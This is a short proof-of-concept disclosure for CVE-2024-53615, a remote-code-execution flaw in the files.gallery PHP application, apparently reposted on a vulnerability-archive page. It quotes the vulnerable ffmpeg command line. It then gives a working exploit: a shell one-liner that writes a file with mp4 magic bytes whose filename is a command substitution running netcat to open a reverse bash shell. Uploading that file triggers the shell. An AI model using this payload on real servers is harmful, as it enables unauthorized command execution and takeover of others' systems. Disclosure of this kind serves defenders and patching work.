CVE-2024-53615 PoC — Files 安全漏洞

Description

CVE-2024-53615

介绍

# CVE-2024-53615

`files.gallery` contains an RCE vulnerability. Prerequisites:

- `ffmpeg` in `PATH`
- `config.php`: `'allow_upload' => true`
- `exec` must be enabled in PHP config

The vulnerability is in the following line, which generates video previews:

```php
$cmd = $ffmpeg_path . ' -ss 3 -t 1 -hide_banner -i "' . str_replace('"', '\"', $this->path) . '" -frames:v 1 -an -vf "thumbnail,scale=480:320:force_original_aspect_ratio=increase,crop=480:320" -r 1 -y -f mjpeg "' . $cache . '" 2>&1';
```

As `$this->path` is user controllable, we can construct a malicious file whose title is a bash command substitution. It is important that this file must contain e.g., the mp4 magic bytes and the filename must end with `.mp4`:

```sh
$ echo "AAAAIGZ0eXBpc29tAAACAGlzb21pc28yYXZjMW1wNDEAAQv7bW9vdgAAAGxtdmhk" | base64 -d > '$(nc 127.0.0.1 8443 -e bash).mp4'
```

If we upload this file, and refresh the page to make the application load the file, we obtain a shell on our local machine.

Note: the command is stored in the filename, so reverse shell possibilities are limited due to name length constraints.

文件快照

备注